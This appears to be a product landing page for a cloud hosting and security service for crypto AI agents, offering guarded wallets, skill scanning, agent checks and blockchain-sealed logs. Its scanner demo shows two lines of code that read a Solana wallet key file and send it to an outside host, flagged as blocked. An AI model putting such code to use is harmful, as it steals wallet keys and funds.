Cloud computers for onchain agents
Base block …

A guarded home
for onchain agents.

Run your crypto agents 24/7 on a machine of their own, with a wallet they can't drain, skills read before they run, and a record of everything they do, sealed on the Base blockchain.

  • Computers, always on
  • Guarded wallets
  • Skill scanning
  • Agent checks
  • Proof of behavior
Open console →Scan a skill, free
WhyNotes at the foot of this page

Agents hold money now. Most of them live on a laptop, with the private key in a text file, a skill from a stranger one install away1, and a public record that is mostly noise2, 3. They need walls.

The five walls

Five layers around your agent, from the machine it runs on to the record of what it did. Open one to see how it works.

  1. A machine of its own, always on.

    Each agent runs in its own isolated cloud computer, around the clock. Bring the framework you already use or any Docker image. Pause it and pay only for disk.

    Example

    ElizaOS · OpenClaw · Solana Agent Kit · Coinbase AgentKit · LangGraph · any Docker image. Your model keys stay yours; Adyros never resells model usage.

  2. It can spend. It can never see the key.

    Keys live outside the machine. Every transaction is checked against the owner's limits and simulated before it is signed. Anything else is refused and written down.

    Example
    daily limit
    250 USDC
    per transaction
    50 USDC
    contracts
    Uniswap, Aave
    unlimited approvals
    refused
    simulate first
    always
    freeze
    one click

  3. Nothing enters unread.

    Hundreds of public agent skills were caught stealing wallet keys this year. Each skill is read before install for key access, hidden calls, miners, wallet drains and prompt injection.

    Scan a skill, free →
    Example
    13  fs.readFileSync(home + "/.config/solana/id.json")   ← reads a wallet key
15  fetch("https://hooks.sync.io", { body: key })      ← sends it out
    verdict: blocked

  4. Before it pays another agent, it checks.

    Most registered agents have nothing behind them and reviews are easy to fake. Agent Check reads the public agent registry (ERC-8004) on the blockchain and tests every address the agent claims to serve. With Live Probe, Adyros pays the agent a few cents for one real request to see if it delivers.

    Check an agent →
    Example

    Identity · registration file · endpoint liveness · onchain reputation · owner history · payment readiness. Every point shown; anything unread is marked as not checked, never as a fail.

  5. Every action, written in stone.

    Each action is linked to the one before it, and the record is sealed on the Base blockchain in batches. Anyone can re-check an agent's history in their own browser.

    Example
    1. #2114 wallet.simulate swap 40 USDC → WETH
    2. #2115 wallet.sign sent 0x9c…41e2
    3. #2116 wallet.refuse approve(MAX) to unknown spender
    4. #2117 log.anchor root → Base
Try it nowNo account needed

Scan a skill

Paste a public GitHub link to a skill or plugin. Free, no account.

Check an agent

Write it as chain:number, for example base:1 or robinhood:1. Agents come from the public ERC-8004 registry.

The ledger

Prepaid USDC, metered by the second. Pick a size and watch what it would have cost you while you read this.

A Cell running since you opened this page has cost
$0.0000000

Prepaid USDC on Base · metered per second · no subscription · paused machines pay $0.20/GB-month for disk · bring your own model keys

Checks & scans
Skill scanStatic analysis of any skill or plugin. As many as you want.Free
Quick CheckRegistry, reputation, owner history and endpoint liveness, with every point explained. 3 free a day.$0.015
Full Check + Live ProbeEverything in Quick Check, plus a real paid request to the agent. For agents on Base, the result is also written onchain as feedback$0.20

Agents pay per check over x402 · USDC on Base

The token
$ADYROS
Contract
Not launched yet

Holding it takes 20% off compute and adds 20 free checks a day, read straight from your balance. A share of USDC revenue buys it back on the open market. Next: owners lock it as a bond for a Verified badge, and lose it for proven abuse.

Questions

What is in Adyros?
  • Skill Scanner: checks a skill or plugin before your agent installs it.
  • Agent Check: tells you whether another AI agent can be trusted.
  • Ask Adyros: ask about any agent in plain words.
  • Computers: cloud machines that run your agent day and night.
  • Prepaid USDC credit: top up once, pay by the second.
  • Guarded wallets: your agent spends within your limits and never sees the key.
  • Proof of Behavior: a record of everything your agent did that nobody can quietly change.
  • Live Probe: Adyros pays an agent a few cents to see if it really works.
  • Agent API: other agents can run checks automatically and pay per check.
What do ERC-8004 and x402 mean?
ERC-8004 is a public registry on the blockchain where AI agents list who they are, what they offer and the reviews they get. x402 lets software pay for a single request in USDC, with no account or card. Base and Robinhood Chain are the blockchains these run on.
Can Adyros take my funds?
A machine's wallet only signs inside the limits you set, and you can freeze it at any time. Adyros never asks for your personal wallet's key.
Do I bring my own AI model keys?
Yes. Your agent uses your own Claude, OpenAI or other keys. Model usage is billed by your provider, not by Adyros.
Which chains?
Agent Check reads Base, Ethereum, BNB Chain, Arbitrum and Robinhood Chain. Guarded wallets and payments run on Base.
How is Agent Check scored?
Every point comes from a signal you can see: registration, ownership, onchain feedback, distinct clients and endpoint liveness. Signals that could not be read are marked as not checked, never counted as a fail.
Is the code open?
The SDK and CLI are open source, with tests. The scanner runs offline from the CLI, and proof logs can be verified without trusting Adyros.

Give your agent a home.

Open console →Read the docs
  1. 1. Koi Security audited a public agent-skill marketplace and found 341 malicious skills, over 100 posing as crypto wallet tools (February 2026).
  2. 2. An empirical study of ERC-8004 found only 3–15% of registered agents expose a working service (arXiv 2606.26028).
  3. 3. Industry analyses estimate around half of x402 payment volume is testing, self-dealing or wash activity (2026).